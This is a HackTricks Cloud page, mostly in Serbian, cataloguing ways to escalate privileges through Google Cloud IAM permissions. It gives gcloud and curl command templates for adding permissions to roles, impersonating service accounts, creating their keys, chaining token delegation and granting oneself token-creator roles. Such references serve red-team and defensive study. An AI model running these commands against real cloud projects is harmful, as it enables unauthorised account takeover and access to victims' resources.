GCP - IAM Privesc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
IAM
Pronađite više informacija o IAM u:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update (iam.roles.get)
Napadač sa pomenutim dozvolama biće u mogućnosti da izmeni rolu dodeljenu vama i da vam dodeli dodatne dozvole za druge resurse kao što su:
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
Možete pronaći skriptu koja automatizuje kreiranje, eksploataciju i čišćenje ranjivog okruženja ovde i python skriptu za zloupotrebu ove privilegije here. Za više informacija pogledajte original research.
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
iam.roles.create & iam.serviceAccounts.setIamPolicy
Dozvola iam.roles.create omogućava kreiranje prilagođenih uloga u projektu/organizaciji. U rukama napadača, ovo je opasno zato što im omogućava da definišu nove skupove dozvola koje se kasnije mogu dodeliti entitetima (na primer, koristeći dozvolu iam.serviceAccounts.setIamPolicy) sa ciljem escalating privileges.
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
Napadač sa pomenutim dozvolama moći će da zatraži access token koji pripada Service Account-u, pa je moguće dobiti access token Service Account-a sa većim privilegijama od naših.
Za resource-driven varijantu u kojoj kod pod napadačevom kontrolom ukrade managed Vertex AI Agent Engine runtime token iz metadata service i ponovo ga iskoristi kao Vertex AI service agent, pogledajte:
GCP - Vertex AI Post Exploitation
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
Možete pronaći skriptu za automatizaciju creation, exploit and cleaning of a vuln environment here i python skriptu za zloupotrebu ove privilegije here. Za više informacija pogledajte original research.
iam.serviceAccountKeys.create
Napadač sa pomenutim permisijama će moći da kreira korisnički upravljani ključ za Service Account, što će nam omogućiti da pristupimo GCP kao taj Service Account.
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
Možete pronaći skriptu za automatizaciju creation, exploit and cleaning of a vuln environment here i python skriptu za zloupotrebu ovog privilegija here. Za više informacija pogledajte original research.
Imajte na umu da iam.serviceAccountKeys.update won’t work to modify the key of a SA because to do that the permissions iam.serviceAccountKeys.create is also needed.
iam.serviceAccounts.implicitDelegation
Ako imate dozvolu iam.serviceAccounts.implicitDelegation na jednom Service Account-u koji ima dozvolu iam.serviceAccounts.getAccessToken na trećem Service Account-u, onda možete koristiti implicitDelegation da kreirate token za taj treći Service Account. Evo dijagrama koji pomaže da se objasni.

Imajte na umu da, prema documentation, delegacija gcloud radi samo za generisanje tokena koristeći metodu generateAccessToken(). Dakle, evo kako dobiti token koristeći API direktno:
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
iam.serviceAccounts.signBlob
Napadač sa navedenim dozvolama može da potpiše proizvoljne payloads u GCP. Dakle, biće moguće kreirati nepotpisani JWT od SA i poslati ga kao blob da bi ga ciljani SA potpisao. Za više informacija read this.
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.
iam.serviceAccounts.signJwt
Napadač sa navedenim dozvolama može da potpiše pravilno formirane JSON web tokene (JWTs). Razlika u odnosu na prethodni metod je što umesto da nateramo google da potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT. To olakšava upotrebu, ali možete potpisivati samo JWT-e umesto proizvoljnih bajtova.
You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.
iam.serviceAccounts.setIamPolicy
Napadač sa navedenim dozvolama može da doda IAM politike na service accounts. To možete zloupotrebiti da sebi dodelite dozvole potrebne da se predstavite kao taj service account. U sledećem primeru dodeljujemo sebi rolu roles/iam.serviceAccountTokenCreator nad interesantnim SA:
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
You can find a script to automate the creation, exploit and cleaning of a vuln environment here.
iam.serviceAccounts.actAs
The iam.serviceAccounts.actAs permission is like the iam:PassRole permission from AWS. It’s essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to “actAs” a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the iam.serviceAccounts.actAs involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
Service account impersonation
Lažno predstavljanje servisnog naloga može biti veoma korisno za dohvatanje novih i boljih privilegija. Postoje tri načina na koja možete impersonate another service account:
- Authentication using RSA private keys (covered above)
- Authorization using Cloud IAM policies (covered here)
- Deploying jobs on GCP services (more applicable to the compromise of a user account)
iam.serviceAccounts.getOpenIdToken
Napadač sa navedenim permisijama može generisati OpenID JWT. Oni se koriste za potvrdu identiteta i ne moraju nužno nositi implicitnu autorizaciju za neki resurs.
Prema ovom interesantnom postu, potrebno je navesti the audience (servis na koji želite da koristite token za autentikaciju) i dobićete JWT potpisan od strane google koji označava the service account i the audience JWT-a.
OpenIDToken možete generisati (ako imate pristup) pomoću:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
Zatim ga jednostavno možete koristiti za pristup servisu pomoću:
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
Neki servisi koji podržavaju autentifikaciju putem ovog tipa tokena su:
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (ako koristite Google OIDC)
Možete pronaći primer kako da kreirate OpenID token u ime service account-a ovde.
Reference
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

